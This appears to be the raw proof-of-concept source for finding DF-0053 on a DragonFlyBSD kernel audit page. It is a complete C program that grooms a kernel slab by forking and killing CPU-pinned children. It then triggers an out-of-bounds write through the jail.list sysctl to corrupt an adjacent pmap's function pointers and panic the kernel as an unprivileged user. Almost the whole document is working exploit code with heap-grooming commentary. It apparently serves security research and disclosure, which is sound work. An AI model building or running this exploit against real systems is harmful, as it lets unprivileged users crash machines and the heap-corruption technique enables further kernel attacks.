โฌข DragonFlyBSD Kernel Audit
DF-0053 / df0053_panic.c
โ† back to finding โ†“ download raw
/*
 * DF-0053 panic trigger โ€” single-CPU groomer.
 *
 * Strategy: pin to CPU 0, fork many children (each creates a zone-40 pmap),
 * punch holes by killing some, then trigger sysctl jail.list so the jls
 * kmalloc lands in a hole adjacent to a LIVE pmap. The OOB write corrupts
 * the pmap's funcptr block โ†’ the child's next copyin/copyout call uses a
 * non-canonical funcptr โ†’ kernel panic.
 *
 * Also: pin via usched_set(USCHED_SET_CPU, 0).
 *
 * Build: cc -O2 -o df0053_panic df0053_panic.c
 * Run as unprivileged user (maxx).
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>

/* usched_set(pid, cmd, data, bytes) โ€” syscall 481 */
static int pin_cpu0(void) {
    int cpu = 0;
    return syscall(481, getpid(), 1 /*USCHED_SET_CPU*/, &cpu, sizeof(cpu));
}

int main(void) {
    int name[8];
    size_t namelen = 8;
    pid_t children[256];
    int nchild = 0;

    /* Pin ourselves to CPU 0 */
    if (pin_cpu0() != 0)
        perror("usched_set (non-fatal)");

    /* Resolve jail.list MIB */
    if (sysctlnametomib("jail.list", name, &namelen) != 0) {
        perror("sysctlnametomib");
        return 1;
    }

    fprintf(stderr, "[*] CPU-pinned panic groomer: forking children to fill zone-40 slab\n");

    /* Fork many children โ€” each gets a pmap in zone-40.
     * Each child pins to CPU 0 and sleeps. */
    for (int i = 0; i < 200; i++) {
        pid_t pid = fork();
        if (pid == 0) {
            /* child: pin to cpu0 and sleep forever */
            pin_cpu0();
            for (;;)
                pause();
            _exit(0);
        }
        if (pid > 0) {
            children[nchild++] = pid;
        }
    }
    fprintf(stderr, "[*] forked %d children (pmaps allocated)\n", nchild);

    /* Kill ~20% of children to punch holes in the slab.
     * The freed pmap chunks go to CPU 0's zone-40 free-list (LIFO). */
    int to_kill = nchild / 5;
    for (int i = 0; i < to_kill; i++) {
        kill(children[i], SIGKILL);
        waitpid(children[i], NULL, 0);
    }
    fprintf(stderr, "[*] killed %d children (holes punched)\n", to_kill);

    /* Now trigger sysctl jail.list repeatedly. The jls kmalloc(1025)
     * should land in a freed pmap hole, adjacent to live pmaps. */
    for (int round = 0; round < 100; round++) {
        char buf[8192];
        size_t len = sizeof(buf);
        int rc = sysctl(name, namelen, buf, &len, NULL, 0);
        if (rc != 0) {
            fprintf(stderr, "[!] round %d: sysctl rc=%d\n", round, rc);
            break;
        }
        if (len > 1152) {
            fprintf(stderr, "[*] round %d: OOB %zu bytes past alloc โ€” "
                    "if adjacent is a live pmap, next copyin panics\n",
                    round, len - 1152);
        }
        /* Brief yield to allow scheduler to dispatch the corrupted child */
        usleep(1000);
    }

    /* Cleanup */
    for (int i = to_kill; i < nchild; i++)
        kill(children[i], SIGKILL);
    for (int i = to_kill; i < nchild; i++)
        waitpid(children[i], NULL, 0);

    fprintf(stderr, "[*] done โ€” guest still up (adjacent chunk was not a live pmap)\n");
    return 0;
}